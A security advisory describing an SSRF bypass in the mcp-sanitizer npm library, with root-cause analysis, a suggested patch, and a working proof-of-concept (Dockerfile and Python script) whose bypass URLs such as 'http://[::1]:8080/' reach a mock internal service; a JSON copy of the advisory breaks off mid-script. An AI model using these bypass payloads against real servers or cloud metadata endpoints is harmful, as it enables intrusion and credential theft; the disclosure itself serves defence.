Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6723 vulnerabilities reference this CWE, most recent first.

GHSA-4MFG-R38W-W8FG

Vulnerability from github – Published: 2026-10-28 19:51 – Updated: 2026-10-28 19:51
VLAI
Summary
mcp-sanitizer: URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6
Details

URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6

Summary

mcp-sanitizer v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a localhost URL includes an explicit port (e.g., http://localhost:8080/) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., http://[::1]:8080/, http://[fe80::1]:8080/). Because the library is explicitly designed to gate MCP tool parameters such as web_fetch and web_scraper before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.

Details

The vulnerability exists in src/utils/validation-utils.js inside the validateURLLocation() function that is called by _secureSanitizeURL() in src/sanitizer/mcp-sanitizer.js:698.

Bug 1 — Port-guarded localhost check (line 274–276):

// src/utils/validation-utils.js:274-276
if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
  throw new Error('URL points to localhost without explicit port');
}

The && !parsedUrl.port guard means that any localhost URL that includes a port number is not thrown. http://localhost:8080/ passes the check entirely, returning blocked: false with the original URL preserved.

Bug 2 — Bracketed IPv6 hostname mismatch (lines 272, 293–295):

// src/utils/validation-utils.js:293-295
if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
  throw new Error(`URL points to link-local address: ${hostname}`);
}

The Node.js URL API returns parsedUrl.hostname for IPv6 addresses with surrounding brackets: [::1], [fe80::1]. The string comparison hostname === '::1' (line 274) and hostname.startsWith('fe80:') (line 293) therefore never match, because the actual string starts with [.

Data flow through the middleware:

  1. src/middleware/express.js:499 — tool name derived from req.params.toolName || req.body?.tool_name.
  2. src/middleware/express.js:548-554 — web_scraper/web_fetch params.url forwarded to sanitizer.sanitize(url, { type: 'url' }).
  3. src/sanitizer/mcp-sanitizer.js:527-528 — context type url routes to _secureSanitizeURL().
  4. src/sanitizer/mcp-sanitizer.js:698-700 — validateURLLocation(parsedUrl) called; on success, parsedUrl.toString() returned to caller as the sanitized, trusted URL.

Both bugs are in the default code path; no special configuration is required to trigger them.

Suggested patch:

--- a/src/utils/validation-utils.js
+++ b/src/utils/validation-utils.js
@@ const { URL } = require('url');
+const net = require('net');
@@ 
-  const hostname = parsedUrl.hostname.toLowerCase();
+  const hostname = parsedUrl.hostname.toLowerCase().replace(/^\[|\]$/g, '').replace(/\.$/, '');
@@ 
-  if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port) {
-    throw new Error('URL points to localhost without explicit port');
+  if (hostname === 'localhost' || hostname.endsWith('.localhost') || hostname === '::1') {
+    throw new Error('URL points to localhost or loopback');
   }
@@ 
-  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:')) {
+  if (hostname.startsWith('169.254.') || hostname.startsWith('fe80:') ||
+      hostname.startsWith('fc') || hostname.startsWith('fd')) {
     throw new Error(`URL points to link-local address: ${hostname}`);
   }
+
+  if (net.isIP(hostname) === 6 && (hostname === '::1' || hostname.startsWith('fe80:'))) {
+    throw new Error(`URL points to restricted IPv6 address: ${hostname}`);
+  }

PoC

Prerequisites: Docker installed; no other dependencies required.

1. Build the Docker image:

docker build \
  -f vuln-001/Dockerfile \
  -t vuln-001-mcp-sanitizer \
  reports/npmAI_754_starman69__mcp-sanitizer

2. Run the PoC:

docker run --rm vuln-001-mcp-sanitizer

The poc.py script inside the image: - Starts a mock internal HTTP service on 127.0.0.1:8080 serving the string INTERNAL_SECRET_DATA_9f3a2b1c. - Calls sanitizer.sanitize(url, { type: 'url' }) via Node.js for five URLs (two expected-blocked, three bypass candidates). - Performs an actual GET http://localhost:8080/ using the sanitizer-approved URL and confirms the secret is returned.

Expected output (abbreviated):

[BYPASS_CONFIRMED] http://localhost:8080/  blocked=False  sanitized=http://localhost:8080/
[BYPASS_CONFIRMED] http://[::1]:8080/     blocked=False  sanitized=http://[::1]:8080/
[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False  sanitized=http://[fe80::1]:8080/
[SSRF HTTP 200] GET http://localhost:8080/ => 'INTERNAL_SECRET_DATA_9f3a2b1c\npath=/'
[!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c
RESULT: PASS - SSRF bypass fully demonstrated end-to-end

Baseline controls confirm the library does block http://localhost/ and http://127.0.0.1/ (blocked: true), proving the bypasses are not a general failure but a precise gap in the validation logic.

Minimal inline repro (no Docker):

# Inside the mcp-sanitizer repository root (npm ci first)
node - <<'NODE'
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();
for (const url of [
  'http://localhost:8080/',
  'http://[::1]:8080/',
  'http://[fe80::1]:8080/'
]) {
  const r = sanitizer.sanitize(url, { type: 'url' });
  console.log(url, '=> blocked=', r.blocked, 'sanitized=', r.sanitized);
}
NODE

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability. Any application that:

  1. Uses mcp-sanitizer's sanitize() / createMCPToolMiddleware() as the security boundary for outbound URLs, and
  2. Passes the returned sanitized URL to an HTTP client (the library's documented intended use for web_fetch/web_scraper MCP tools),

is exploitable by any party that can supply the url parameter — typically an unauthenticated network attacker in an MCP server deployment.

Consequences: - Confidentiality (High): The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., http://169.254.169.254/), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration. - Integrity (Low): If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP. - Availability: Not directly impacted.

The vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.

Reproduction artifacts

Dockerfile

FROM node:18-alpine

# Install Python3 for the PoC script
RUN apk add --no-cache python3

WORKDIR /app

# Copy package files first for better layer caching
COPY repo/package.json repo/package-lock.json ./

# Install Node.js dependencies (clean install, no dev deps)
RUN npm ci --ignore-scripts --omit=dev

# Copy library source
COPY repo/src ./src/

# Copy PoC script
COPY vuln-001/poc.py ./poc.py

# Run the PoC by default
CMD ["python3", "poc.py"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation
Library: mcp-sanitizer v1.3.3 (commit caff5d6)
CWE-918: Server-Side Request Forgery
CVSS 3.1: 8.2 (High)

Root cause:
  src/utils/validation-utils.js:274:
    if ((hostname === 'localhost' || hostname === '127.0.0.1' || hostname === '::1') && !parsedUrl.port)
  - The "&& !parsedUrl.port" guard means any localhost URL WITH a port bypasses the block.
  - Node.js URL API returns hostname as "[::1]" / "[fe80::1]" (with brackets) for IPv6,
    so the string equality check against "::1" and startsWith("fe80:") both silently fail.

Attack scenario:
  1. Attacker controls the "url" parameter of a web_fetch / web_scraper MCP tool call.
  2. The server calls sanitize(params.url, { type: 'url' }) and trusts the result.
  3. Because the bypass succeeds, the server makes an outbound HTTP request to an internal
     service (localhost:PORT), leaking its response to the attacker.
"""

import subprocess
import sys
import json
import http.server
import threading
import urllib.request
import os

# ─────────────────────────────────────────────────────────────────────────────
# Step 1: Start a mock "internal" service on 127.0.0.1:8080
#         This simulates a privileged internal endpoint (e.g., metadata API,
#         admin panel) that should never be reachable from external input.
# ─────────────────────────────────────────────────────────────────────────────
INTERNAL_PORT = 8080
INTERNAL_SECRET = "INTERNAL_SECRET_DATA_9f3a2b1c"

class InternalServiceHandler(http.server.BaseHTTPRequestHandler):
    """Simulates a restricted internal HTTP service (e.g., admin API or metadata endpoint)."""

    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.send_header("X-Internal", "true")
        self.end_headers()
        self.wfile.write(f"{INTERNAL_SECRET}\npath={self.path}\n".encode())

    def log_message(self, fmt, *args):
        pass  # Suppress default access logs for cleaner output


internal_server = http.server.HTTPServer(("127.0.0.1", INTERNAL_PORT), InternalServiceHandler)
srv_thread = threading.Thread(target=internal_server.serve_forever, daemon=True)
srv_thread.start()
print(f"[*] Mock internal service started on 127.0.0.1:{INTERNAL_PORT}")
print(f"[*] Internal secret: {INTERNAL_SECRET}\n")


# ─────────────────────────────────────────────────────────────────────────────
# Step 2: Run the mcp-sanitizer via Node.js to test bypass URLs
# ─────────────────────────────────────────────────────────────────────────────
NODE_SCRIPT = r"""
'use strict';
const MCPSanitizer = require('./src/sanitizer/mcp-sanitizer');
const sanitizer = new MCPSanitizer();

const tests = [
  // These should be BLOCKED (baseline: library is supposed to block localhost)
  { url: 'http://localhost/',        expectBlocked: true  },
  { url: 'http://127.0.0.1/',       expectBlocked: true  },
  // These are the BYPASS cases (the vulnerability)
  { url: 'http://localhost:8080/',   expectBlocked: false },
  { url: 'http://[::1]:8080/',      expectBlocked: false },
  { url: 'http://[fe80::1]:8080/',  expectBlocked: false },
];

const out = tests.map(t => {
  let result;
  try {
    result = sanitizer.sanitize(t.url, { type: 'url' });
    return {
      url: t.url,
      blocked: result.blocked,
      sanitized: result.sanitized,
      expectBlocked: t.expectBlocked
    };
  } catch (err) {
    return {
      url: t.url,
      blocked: true,
      sanitized: null,
      expectBlocked: t.expectBlocked,
      error: err.message
    };
  }
});

process.stdout.write(JSON.stringify(out));
"""

print("[*] Running mcp-sanitizer URL sanitization tests via Node.js ...")
proc = subprocess.run(
    ["node", "-e", NODE_SCRIPT],
    capture_output=True,
    text=True,
    cwd="/app"
)

if proc.returncode != 0:
    print(f"[ERROR] Node.js process exited with code {proc.returncode}")
    print(f"stderr: {proc.stderr}")
    sys.exit(2)

if not proc.stdout.strip():
    print("[ERROR] No output from Node.js process")
    print(f"stderr: {proc.stderr}")
    sys.exit(2)

results = json.loads(proc.stdout)


# ─────────────────────────────────────────────────────────────────────────────
# Step 3: Print sanitizer results and identify bypassed URLs
# ─────────────────────────────────────────────────────────────────────────────
print("[*] Sanitizer results:\n")
header = f"{'URL':<35}  {'blocked':<8}  {'sanitized':<35}  status"
print(header)
print("-" * len(header))

bypass_urls = []
unexpected = []

for r in results:
    blocked = r["blocked"]
    expected = r["expectBlocked"]
    sanitized_str = str(r.get("sanitized") or "null")
    status = "OK" if blocked == expected else "UNEXPECTED"
    if not blocked and r.get("sanitized"):
        bypass_urls.append(r["sanitized"])
        status = "BYPASS_CONFIRMED"
    print(f"{r['url']:<35}  {str(blocked):<8}  {sanitized_str:<35}  {status}")
    if blocked != expected:
        unexpected.append(r)

print()


# ─────────────────────────────────────────────────────────────────────────────
# Step 4: Perform actual SSRF request using the bypassed localhost:8080 URL
#         This proves the sanitizer flaw leads to real internal service access.
# ─────────────────────────────────────────────────────────────────────────────
ssrf_confirmed = False
ssrf_evidence = None
ssrf_url = "http://localhost:8080/"

if ssrf_url in bypass_urls:
    print(f"[*] Attempting SSRF: GET {ssrf_url} (using sanitizer-approved URL) ...")
    try:
        resp = urllib.request.urlopen(ssrf_url, timeout=5)
        body = resp.read().decode().strip()
        print(f"[*] HTTP response status: {resp.status}")
        print(f"[*] HTTP response body:\n    {body.replace(chr(10), chr(10) + '    ')}")
        if INTERNAL_SECRET in body:
            ssrf_confirmed = True
            ssrf_evidence = body
            print(f"\n[!!!] INTERNAL SECRET EXFILTRATED: {INTERNAL_SECRET}")
    except Exception as exc:
        print(f"[ERROR] HTTP request failed: {exc}")
else:
    print(f"[WARN] {ssrf_url} was not in bypass_urls; skipping actual SSRF step")

internal_server.shutdown()


# ─────────────────────────────────────────────────────────────────────────────
# Step 5: Final verdict
# ─────────────────────────────────────────────────────────────────────────────
print(f"\n{'='*65}")
print("VERDICT")
print(f"{'='*65}")
print(f"  Bypass URLs confirmed by sanitizer: {len(bypass_urls)}")
print(f"  Bypassed URLs:                      {bypass_urls}")
print(f"  Actual SSRF HTTP request succeeded: {ssrf_confirmed}")
print(f"  Exfiltrated secret matches:         {ssrf_confirmed and INTERNAL_SECRET in (ssrf_evidence or '')}")

if ssrf_confirmed and len(bypass_urls) >= 2:
    print("\n  RESULT: PASS - SSRF bypass fully demonstrated end-to-end")
    print("  - mcp-sanitizer v1.3.3 did NOT block localhost:8080, [::1]:8080, [fe80::1]:8080")
    print(f"  - Actual HTTP GET to internal service returned: {ssrf_evidence!r}")
    sys.exit(0)
elif len(bypass_urls) >= 2:
    print("\n  RESULT: PARTIAL - sanitizer bypass confirmed but live HTTP request failed")
    print(f"  - {len(bypass_urls)} URLs bypassed sanitizer: {bypass_urls}")
    sys.exit(1)
else:
    print("\n  RESULT: FAIL - expected at least 2 bypass URLs")
    sys.exit(1)
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "mcp-sanitizer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-28T19:51:39Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## URL sanitizer allows localhost/IPv6 loopback SSRF bypass via explicit port or bracketed IPv6\n\n### Summary\n\n`mcp-sanitizer` v1.3.3 fails to block Server-Side Request Forgery (SSRF) targets when a `localhost` URL includes an explicit port (e.g., `http://localhost:8080/`) or when an IPv6 loopback/link-local address is expressed in bracketed notation (e.g., `http://[::1]:8080/`, `http://[fe80::1]:8080/`). Because the library is explicitly designed to gate MCP tool parameters such as `web_fetch` and `web_scraper` before outbound HTTP requests are made, a bypass here directly enables an attacker-controlled URL to reach internal services, leaking their responses.\n\n### Details\n\nThe vulnerability exists in `src/utils/validation-utils.js` inside the `validateURLLocation()` function that is called by `_secureSanitizeURL()` in `src/sanitizer/mcp-sanitizer.js:698`.\n\n**Bug 1 \u2014 Port-guarded localhost check (line 274\u2013276):**\n\n```js\n// src/utils/validation-utils.js:274-276\nif ((hostname === \u0027localhost\u0027 || hostname === \u0027127.0.0.1\u0027 || hostname === \u0027::1\u0027) \u0026\u0026 !parsedUrl.port) {\n  throw new Error(\u0027URL points to localhost without explicit port\u0027);\n}\n```\n\nThe `\u0026\u0026 !parsedUrl.port` guard means that any localhost URL that includes a port number is *not* thrown. `http://localhost:8080/` passes the check entirely, returning `blocked: false` with the original URL preserved.\n\n**Bug 2 \u2014 Bracketed IPv6 hostname mismatch (lines 272, 293\u2013295):**\n\n```js\n// src/utils/validation-utils.js:293-295\nif (hostname.startsWith(\u0027169.254.\u0027) || hostname.startsWith(\u0027fe80:\u0027)) {\n  throw new Error(`URL points to link-local address: ${hostname}`);\n}\n```\n\nThe Node.js `URL` API returns `parsedUrl.hostname` for IPv6 addresses *with* surrounding brackets: `[::1]`, `[fe80::1]`. The string comparison `hostname === \u0027::1\u0027` (line 274) and `hostname.startsWith(\u0027fe80:\u0027)` (line 293) therefore never match, because the actual string starts with `[`.\n\n**Data flow through the middleware:**\n\n1. `src/middleware/express.js:499` \u2014 tool name derived from `req.params.toolName || req.body?.tool_name`.\n2. `src/middleware/express.js:548-554` \u2014 `web_scraper`/`web_fetch` `params.url` forwarded to `sanitizer.sanitize(url, { type: \u0027url\u0027 })`.\n3. `src/sanitizer/mcp-sanitizer.js:527-528` \u2014 context type `url` routes to `_secureSanitizeURL()`.\n4. `src/sanitizer/mcp-sanitizer.js:698-700` \u2014 `validateURLLocation(parsedUrl)` called; on success, `parsedUrl.toString()` returned to caller as the sanitized, trusted URL.\n\nBoth bugs are in the default code path; no special configuration is required to trigger them.\n\n**Suggested patch:**\n\n```diff\n--- a/src/utils/validation-utils.js\n+++ b/src/utils/validation-utils.js\n@@ const { URL } = require(\u0027url\u0027);\n+const net = require(\u0027net\u0027);\n@@ \n-  const hostname = parsedUrl.hostname.toLowerCase();\n+  const hostname = parsedUrl.hostname.toLowerCase().replace(/^\\[|\\]$/g, \u0027\u0027).replace(/\\.$/, \u0027\u0027);\n@@ \n-  if ((hostname === \u0027localhost\u0027 || hostname === \u0027127.0.0.1\u0027 || hostname === \u0027::1\u0027) \u0026\u0026 !parsedUrl.port) {\n-    throw new Error(\u0027URL points to localhost without explicit port\u0027);\n+  if (hostname === \u0027localhost\u0027 || hostname.endsWith(\u0027.localhost\u0027) || hostname === \u0027::1\u0027) {\n+    throw new Error(\u0027URL points to localhost or loopback\u0027);\n   }\n@@ \n-  if (hostname.startsWith(\u0027169.254.\u0027) || hostname.startsWith(\u0027fe80:\u0027)) {\n+  if (hostname.startsWith(\u0027169.254.\u0027) || hostname.startsWith(\u0027fe80:\u0027) ||\n+      hostname.startsWith(\u0027fc\u0027) || hostname.startsWith(\u0027fd\u0027)) {\n     throw new Error(`URL points to link-local address: ${hostname}`);\n   }\n+\n+  if (net.isIP(hostname) === 6 \u0026\u0026 (hostname === \u0027::1\u0027 || hostname.startsWith(\u0027fe80:\u0027))) {\n+    throw new Error(`URL points to restricted IPv6 address: ${hostname}`);\n+  }\n```\n\n### PoC\n\n**Prerequisites:** Docker installed; no other dependencies required.\n\n**1. Build the Docker image:**\n\n```bash\ndocker build \\\n  -f vuln-001/Dockerfile \\\n  -t vuln-001-mcp-sanitizer \\\n  reports/npmAI_754_starman69__mcp-sanitizer\n```\n\n**2. Run the PoC:**\n\n```bash\ndocker run --rm vuln-001-mcp-sanitizer\n```\n\nThe `poc.py` script inside the image:\n- Starts a mock internal HTTP service on `127.0.0.1:8080` serving the string `INTERNAL_SECRET_DATA_9f3a2b1c`.\n- Calls `sanitizer.sanitize(url, { type: \u0027url\u0027 })` via Node.js for five URLs (two expected-blocked, three bypass candidates).\n- Performs an actual `GET http://localhost:8080/` using the sanitizer-approved URL and confirms the secret is returned.\n\n**Expected output (abbreviated):**\n\n```\n[BYPASS_CONFIRMED] http://localhost:8080/  blocked=False  sanitized=http://localhost:8080/\n[BYPASS_CONFIRMED] http://[::1]:8080/     blocked=False  sanitized=http://[::1]:8080/\n[BYPASS_CONFIRMED] http://[fe80::1]:8080/ blocked=False  sanitized=http://[fe80::1]:8080/\n[SSRF HTTP 200] GET http://localhost:8080/ =\u003e \u0027INTERNAL_SECRET_DATA_9f3a2b1c\\npath=/\u0027\n[!!!] INTERNAL SECRET EXFILTRATED: INTERNAL_SECRET_DATA_9f3a2b1c\nRESULT: PASS - SSRF bypass fully demonstrated end-to-end\n```\n\nBaseline controls confirm the library *does* block `http://localhost/` and `http://127.0.0.1/` (`blocked: true`), proving the bypasses are not a general failure but a precise gap in the validation logic.\n\n**Minimal inline repro (no Docker):**\n\n```bash\n# Inside the mcp-sanitizer repository root (npm ci first)\nnode - \u003c\u003c\u0027NODE\u0027\nconst MCPSanitizer = require(\u0027./src/sanitizer/mcp-sanitizer\u0027);\nconst sanitizer = new MCPSanitizer();\nfor (const url of [\n  \u0027http://localhost:8080/\u0027,\n  \u0027http://[::1]:8080/\u0027,\n  \u0027http://[fe80::1]:8080/\u0027\n]) {\n  const r = sanitizer.sanitize(url, { type: \u0027url\u0027 });\n  console.log(url, \u0027=\u003e blocked=\u0027, r.blocked, \u0027sanitized=\u0027, r.sanitized);\n}\nNODE\n```\n\n### Impact\n\nThis is a **Server-Side Request Forgery (SSRF)** vulnerability. Any application that:\n\n1. Uses `mcp-sanitizer`\u0027s `sanitize()` / `createMCPToolMiddleware()` as the security boundary for outbound URLs, **and**\n2. Passes the returned sanitized URL to an HTTP client (the library\u0027s documented intended use for `web_fetch`/`web_scraper` MCP tools),\n\nis exploitable by any party that can supply the `url` parameter \u2014 typically an unauthenticated network attacker in an MCP server deployment.\n\n**Consequences:**\n- **Confidentiality (High):** The attacker can retrieve responses from internal services such as cloud metadata endpoints (e.g., `http://169.254.169.254/`), admin panels, or any localhost daemon, potentially exposing credentials, tokens, or sensitive configuration.\n- **Integrity (Low):** If internal services expose writable APIs, the attacker can trigger state changes or issue commands via HTTP.\n- **Availability:** Not directly impacted.\n\nThe vulnerability requires no authentication, no special configuration, and no user interaction; it is exploitable in the default middleware path.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:18-alpine\n\n# Install Python3 for the PoC script\nRUN apk add --no-cache python3\n\nWORKDIR /app\n\n# Copy package files first for better layer caching\nCOPY repo/package.json repo/package-lock.json ./\n\n# Install Node.js dependencies (clean install, no dev deps)\nRUN npm ci --ignore-scripts --omit=dev\n\n# Copy library source\nCOPY repo/src ./src/\n\n# Copy PoC script\nCOPY vuln-001/poc.py ./poc.py\n\n# Run the PoC by default\nCMD [\"python3\", \"poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: mcp-sanitizer SSRF bypass via localhost+port and IPv6 bracket notation\nLibrary: mcp-sanitizer v1.3.3 (commit caff5d6)\nCWE-918: Server-Side Request Forgery\nCVSS 3.1: 8.2 (High)\n\nRoot cause:\n  src/utils/validation-utils.js:274:\n    if ((hostname === \u0027localhost\u0027 || hostname === \u0027127.0.0.1\u0027 || hostname === \u0027::1\u0027) \u0026\u0026 !parsedUrl.port)\n  - The \"\u0026\u0026 !parsedUrl.port\" guard means any localhost URL WITH a port bypasses the block.\n  - Node.js URL API returns hostname as \"[::1]\" / \"[fe80::1]\" (with brackets) for IPv6,\n    so the string equality check against \"::1\" and startsWith(\"fe80:\") both silently fail.\n\nAttack scenario:\n  1. Attacker controls the \"url\" parameter of a web_fetch / web_scraper MCP tool call.\n  2. The server calls sanitize(params.url, { type: \u0027url\u0027 }) and trusts the result.\n  3. Because the bypass succeeds, the server makes an outbound HTTP request to an internal\n     service (localhost:PORT), leaking its response to the attacker.\n\"\"\"\n\nimport subprocess\nimport sys\nimport json\nimport http.server\nimport threading\nimport urllib.request\nimport os\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Step 1: Start a mock \"internal\" service on 127.0.0.1:8080\n#         This simulates a privileged internal endpoint (e.g., metadata API,\n#         admin panel) that should never be reachable from external input.\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nINTERNAL_PORT = 8080\nINTERNAL_SECRET = \"INTERNAL_SECRET_DATA_9f3a2b1c\"\n\nclass InternalServiceHandler(http.server.BaseHTTPRequestHandler):\n    \"\"\"Simulates a restricted internal HTTP service (e.g., admin API or metadata endpoint).\"\"\"\n\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"X-Internal\", \"true\")\n        self.end_headers()\n        self.wfile.write(f\"{INTERNAL_SECRET}\\npath={self.path}\\n\".encode())\n\n    def log_message(self, fmt, *args):\n        pass  # Suppress default access logs for cleaner output\n\n\ninternal_server = http.server.HTTPServer((\"127.0.0.1\", INTERNAL_PORT), InternalServiceHandler)\nsrv_thread = threading.Thread(target=internal_server.serve_forever, daemon=True)\nsrv_thread.start()\nprint(f\"[*] Mock internal service started on 127.0.0.1:{INTERNAL_PORT}\")\nprint(f\"[*] Internal secret: {INTERNAL_SECRET}\\n\")\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Step 2: Run the mcp-sanitizer via Node.js to test bypass URLs\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nNODE_SCRIPT = r\"\"\"\n\u0027use strict\u0027;\nconst MCPSanitizer = require(\u0027./src/sanitizer/mcp-sanitizer\u0027);\nconst sanitizer = new MCPSanitizer();\n\nconst tests = [\n  // These should be BLOCKED (baseline: library is supposed to block localhost)\n  { url: \u0027http://localhost/\u0027,        expectBlocked: true  },\n  { url: \u0027http://127.0.0.1/\u0027,       expectBlocked: true  },\n  // These are the BYPASS cases (the vulnerability)\n  { url: \u0027http://localhost:8080/\u0027,   expectBlocked: false },\n  { url: \u0027http://[::1]:8080/\u0027,      expectBlocked: false },\n  { url: \u0027http://[fe80::1]:8080/\u0027,  expectBlocked: false },\n];\n\nconst out = tests.map(t =\u003e {\n  let result;\n  try {\n    result = sanitizer.sanitize(t.url, { type: \u0027url\u0027 });\n    return {\n      url: t.url,\n      blocked: result.blocked,\n      sanitized: result.sanitized,\n      expectBlocked: t.expectBlocked\n    };\n  } catch (err) {\n    return {\n      url: t.url,\n      blocked: true,\n      sanitized: null,\n      expectBlocked: t.expectBlocked,\n      error: err.message\n    };\n  }\n});\n\nprocess.stdout.write(JSON.stringify(out));\n\"\"\"\n\nprint(\"[*] Running mcp-sanitizer URL sanitization tests via Node.js ...\")\nproc = subprocess.run(\n    [\"node\", \"-e\", NODE_SCRIPT],\n    capture_output=True,\n    text=True,\n    cwd=\"/app\"\n)\n\nif proc.returncode != 0:\n    print(f\"[ERROR] Node.js process exited with code {proc.returncode}\")\n    print(f\"stderr: {proc.stderr}\")\n    sys.exit(2)\n\nif not proc.stdout.strip():\n    print(\"[ERROR] No output from Node.js process\")\n    print(f\"stderr: {proc.stderr}\")\n    sys.exit(2)\n\nresults = json.loads(proc.stdout)\n\n\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# Step 3: Print sanitizer results and identify bypassed URLs\n# \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nprint(\"[*] Sanitizer results:\\n\")\nheader = f\"{\u0027URL\u0027:\u003c35}  {\u0027blocked\u0027:\u003c8}  {\u0027sanitized\u0027:\u003c35}  status\"\nprint(header)\nprint(\"-\" * len(header))\n\nbypass_urls = []\nunexpected = []\n\nfor r in results:\n    blocked = r[\"blocked\"]\n    expected = r[\"expectBlocked\"]\n    sanitized_str = str(r.get(\"sanitized\") or \"null\")\n    status = \"OK\" if blocked == expected else \"UNEXPECTED\"\n    if not blocked and r.get(\"sanitized\"):\n        bypass_urls.append(r[\"sanitized\"])\n        status = \"BYPASS_CONFIRMED\"\n    print(f\"{r[\u0027url\u0027]:\u003c35}  {str(blocked):\u003c8}  {sanitized_str:\u003c35}  {status}\")\n    if blocked != expected:\n        unexpected.append(r)\n\nprint()\n\n\n# 